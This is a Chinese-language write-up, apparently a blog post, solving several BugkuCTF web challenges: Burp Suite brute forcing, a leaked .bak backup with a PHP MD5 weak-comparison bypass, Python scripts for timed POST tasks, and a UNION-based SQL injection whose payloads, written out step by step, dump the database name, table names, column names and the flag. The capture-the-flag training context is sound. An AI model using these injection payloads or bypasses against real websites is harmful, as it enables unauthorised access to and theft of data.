BugkuCTF-WEB部分题解(二)

输入密码得到flag

这道题直接暴力破解
在使用Burp Suite时候设置完Number range 开始爆破出现错误Invalid number settings
百度得以下解决方法
在这里插入图片描述
解决问题后爆破得flag

备份是个好习惯

御剑扫描网站发现index.php.bak(后缀为.bak为备份文件)
访问** /index.php.bak **下载文件打开

审计代码

在这里插入图片描述

1.$_SERVER[‘REQUEST_URI’]

2.strstr()

3.substr()

4.str_replace()

5.parse_str()

分析

1.根据代码原页面输出的是变量key1和key2 MD5后的值
2.绕过str_replace(‘key’,$str) 变量名可取‘kkeyey1’和’kkeyey2’
3.判断需借助php弱类型进行MD5碰撞
在这里插入图片描述

(两个变量的值MD5后均为0E开头,php处理进行弱类型比较得0=0,结果为真)
在这里插入图片描述
更多关于MD5碰撞
以上分析部分借鉴大佬题解

成绩单(SQL注入)

随便输入一个参数
在这里插入图片描述
猜测应该是按表的索引查询(select …where id=’’)
尝试联合注入
id = ’ union select 1,2,3,4# //2,3,4有返回
注入
id = ’ union select 1,2,3,database()# //得到数据库名skctf_flag
在这里插入图片描述
接下来获取该数据库中的表
id = ’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# //得到两个表fl4g和sc
在这里插入图片描述
接下来获取fl4g表中的字段名
id = ’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=‘fl4g’# //敏感表名应加’ '否则应将其编码为十六进制(0x666c3467)绕过,得到字段skctf_flag
在这里插入图片描述
获取字段中的值
id = ’ union select 1,2,3,skctf_flag from fl4g# //得到flag
在这里插入图片描述
方法二 使用sqlmap 详情

秋名山老司机

题目要求在两秒内post返回算数的值
使用python模拟登录网站算出结果post返回
写一个python脚本

在这里插入图片描述
得到flag (可能不会一次性返回成功,需要尝试多次)

速度要快

在响应头里发现了:
在这里插入图片描述
据其他的writeup所说该flag为变化的
用python脚本模拟登录获取响应头的flag,base64解码后post提交

在这里插入图片描述
关于byte类型与str类型 见详情

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值